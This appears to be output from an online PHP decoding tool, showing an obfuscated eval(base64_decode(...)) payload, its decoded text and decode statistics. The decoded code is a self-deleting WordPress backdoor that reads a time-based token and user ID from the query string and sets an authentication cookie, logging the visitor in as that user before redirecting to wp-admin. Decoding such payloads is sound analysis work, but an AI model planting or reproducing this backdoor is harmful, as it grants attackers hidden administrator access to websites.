Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('JGZpbGUgPSggJHAgPSBzdHJwb3MoX19GSUxFX18sIigiKSApPT09IGZhbHNlID8gX19GSU..
Decoded Output download
$file =( $p = strpos(__FILE__,"(") )=== false ? __FILE__ : substr(__FILE__,0,$p);if (!unlink($file)){ chmod($file,0777); unlink($file);}define("ABSPATH", dirname(dirname($file))."/");include_once(ABSPATH."wp-config.php");include_once(ABSPATH."wp-admin/includes/file.php");include_once(ABSPATH."wp-admin/includes/plugin.php");include_once(ABSPATH."wp-admin/includes/theme.php");include_once(ABSPATH."wp-admin/includes/misc.php");$k = substr($_SERVER["QUERY_STRING"],0,32);$u = substr($_SERVER["QUERY_STRING"],32);$h = $wpdb->get_var( $wpdb->prepare( "SELECT user_pass FROM {$wpdb->users} WHERE ID = %s", $u ) );if ( is_string($h) &&( $k === md5(mktime(date("H"), date("i"), 0).md5($h)) || $k === md5(mktime(date("H"), date("i")-1, 0).md5($h)) || $k === md5(mktime(date("H"), date("i")+1, 0).md5($h)) )){ wp_set_auth_cookie($u);}header("Location: ".'https://www.kdlabstore.com/wp-admin/');
Did this file decode correctly?
Original Code
eval(base64_decode('JGZpbGUgPSggJHAgPSBzdHJwb3MoX19GSUxFX18sIigiKSApPT09IGZhbHNlID8gX19GSUxFX18gOiBzdWJzdHIoX19GSUxFX18sMCwkcCk7aWYgKCF1bmxpbmsoJGZpbGUpKXsJY2htb2QoJGZpbGUsMDc3Nyk7CXVubGluaygkZmlsZSk7fWRlZmluZSgiQUJTUEFUSCIsIGRpcm5hbWUoZGlybmFtZSgkZmlsZSkpLiIvIik7aW5jbHVkZV9vbmNlKEFCU1BBVEguIndwLWNvbmZpZy5waHAiKTtpbmNsdWRlX29uY2UoQUJTUEFUSC4id3AtYWRtaW4vaW5jbHVkZXMvZmlsZS5waHAiKTtpbmNsdWRlX29uY2UoQUJTUEFUSC4id3AtYWRtaW4vaW5jbHVkZXMvcGx1Z2luLnBocCIpO2luY2x1ZGVfb25jZShBQlNQQVRILiJ3cC1hZG1pbi9pbmNsdWRlcy90aGVtZS5waHAiKTtpbmNsdWRlX29uY2UoQUJTUEFUSC4id3AtYWRtaW4vaW5jbHVkZXMvbWlzYy5waHAiKTskayA9IHN1YnN0cigkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0sMCwzMik7JHUgPSBzdWJzdHIoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdLDMyKTskaCA9ICR3cGRiLT5nZXRfdmFyKCAkd3BkYi0+cHJlcGFyZSggIlNFTEVDVCB1c2VyX3Bhc3MgRlJPTSB7JHdwZGItPnVzZXJzfSBXSEVSRSBJRCA9ICVzIiwgJHUgKSApO2lmICggaXNfc3RyaW5nKCRoKSAmJiggJGsgPT09IG1kNShta3RpbWUoZGF0ZSgiSCIpLCBkYXRlKCJpIiksIDApLm1kNSgkaCkpICAgICAgICAgICAgICAgICAgICB8fCAkayA9PT0gbWQ1KG1rdGltZShkYXRlKCJIIiksIGRhdGUoImkiKS0xLCAwKS5tZDUoJGgpKSAgICAgICAgICAgICAgICAgICAgfHwgJGsgPT09IG1kNShta3RpbWUoZGF0ZSgiSCIpLCBkYXRlKCJpIikrMSwgMCkubWQ1KCRoKSkgKSl7CXdwX3NldF9hdXRoX2Nvb2tpZSgkdSk7fWhlYWRlcigiTG9jYXRpb246ICIuJ2h0dHBzOi8vd3d3LmtkbGFic3RvcmUuY29tL3dwLWFkbWluLycpOw=='));
Function Calls
base64_decode | 1 |
Stats
MD5 | e4017e08ab812a45d956209bd39d6f27 |
Eval Count | 1 |
Decode Time | 56 ms |